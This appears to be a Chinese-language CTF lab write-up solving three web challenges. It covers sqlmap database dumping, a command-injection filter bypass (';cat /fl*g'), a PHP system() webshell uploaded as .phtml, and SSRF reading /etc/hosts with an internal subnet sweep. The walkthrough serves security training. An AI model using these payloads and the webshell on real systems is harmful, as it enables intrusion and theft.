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hint内容：

下载工具 sqlmap-1.2.4，并使用

step1：扫描数据库

使用命令： python2 sqlmap.py -u "http://124.16.75.162:31030/hint.php?id=1" --dbs  扫描hint.php页面

检测到有5个可用的数据库，查看第一个 ctf 数据库

step2：列出数据库的表

使用命令： python2 sqlmap.py -u "http://124.16.75.162:31030/hint.php?id=1" -D ctf --tables



检测到一个table 为 users

step3：将表中数据输出

使用命令： python2 sqlmap.py -u "http://124.16.75.162:31030/hint.php?id=1" -D ctf --tables -T users --dump

表中的“username”下的是用户名，“password”下是密码，密码是明文存储的，直接得到 password 为 Never_Guess_pwd

登陆后进入admin.php页面，如下



随便输一个 127.0.0.1 返回值为

step4: sql命令注入

host 输入 ;ls发现可以看到当前目录，然后 ;ls /查看根目录内容如下

直接 ;cat /flag  会看到 no flag in host ，通过 cat admin.php再F12看到源码过滤规则，strstr对比子串里不能出现flag

用正则表达式 ;cat /fl*g  就可以看到 flag{from_error_to_blindsqli}
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题目

step1 敏感文件扫描

从ppt中 参考

vim编辑的临时文件 index.php => .index.php.swp；

输入网址后加上* http://124.16.75.162:31031/.index.php.swp *下载下来index.php.swp文件

用vim打开可以看到的乱码

step2 恢复文件查看源码

考虑用vim恢复swp的内容，只能使用curl下载才能恢复

$ curl http://124.16.75.162:31031/.index.php.swp --output .index.php.swp
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 12288  100 12288    0     0   571k      0 --:--:-- --:--:-- --:--:--  571k
$ vim -r index.php

查看恢复的网页源码



源码说明后缀名是 “.php” 的文件都拦截不能上传，网上看到说如果是在解题的情况下可以尝试用 PHP 其他后缀进行上传例如：
php2, php3, php4, php5，phps, pht, phtm, phtml等。

源码还说明文件的存放路径： files/md5($ _SERVER['REMOTE_ADDR'])/ $POST['name']

其中 $POST['name']  为自己input的filename；上传后会提示ip地址

看到 $ _SERVER['REMOTE_ADDR'] = 10.200.90.122  获取md5的值如下

字符串 10.200.90.122

16位 小写 07cb16ca6a497b58

16位 大写 07CB16CA6A497B58

32位 小写 e3bb288707cb16ca6a497b581116aeef

32位 大写 E3BB288707CB16CA6A497B581116AEEF

考虑文件夹命名只能以字母开始，尝试32位的md5值，试出来是 e3bb288707cb16ca6a497b581116aeef

step3 上传webshell

使用webshell为 ppt 上的，命名为web.phtml,代码如下

https://www.cnblogs.com/linfangnan/p/13588709.html


<?php system($_GET['cmd']); ?>

结果是可以得到shell，需要对 cmd 传参数；访问网址
http://124.16.75.162:31031/files/e3bb288707cb16ca6a497b581116aeef/web.phtml?cmd=ls /

可以查看根目录，看到flag的位置

参数变为 cmd=cat /flag可以查看flag
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查看题目，确定是SSRF漏洞

step1：确定发送请求的Client的类型

没有vps，在website里输入本地地址http://127.0.0.1使用wireshark抓包；

题板与本地有两个HTTP/1.1的包，结合ppt，确定使用php的curl获取网页

php的curl默认不会返回任何UA，采用HTTP/1.1

step2：获取和 ip获取相关的配置文件

php(file_get_contents)、 python(urlopen)的client支持file://协议，因此可以先获取和ip获取相关的配置文件来判断
如果是docker环境， /etc/hosts中会有本机的hostname和ip

使用 files:///etc/hosts  读取/etc/hosts，得到内�ip地址 为 172.21.0.3

step3：burpsuite暴力破解

使用burpsuite进行爆破，爆破方法：先用burpsuite Proxy模块关闭Intercept，访问题板网址



在website里输入内网网址，题板网站就会向内网网站发送一个curl请求，我们要抓的就是这个请求包。 在 HTTP history里可以看
到访问历史。

上图中第6个POST包的内容如下，可以看到标记的url



在Actions选项将包转发到Intercept，编辑payload position为 url 中网址的最后一个字节 3标记，遍历子网的区域 172.21.0.*

设置payload



start attack在 172.21.0.2 得到 response，状态200

看到response包中的 flag
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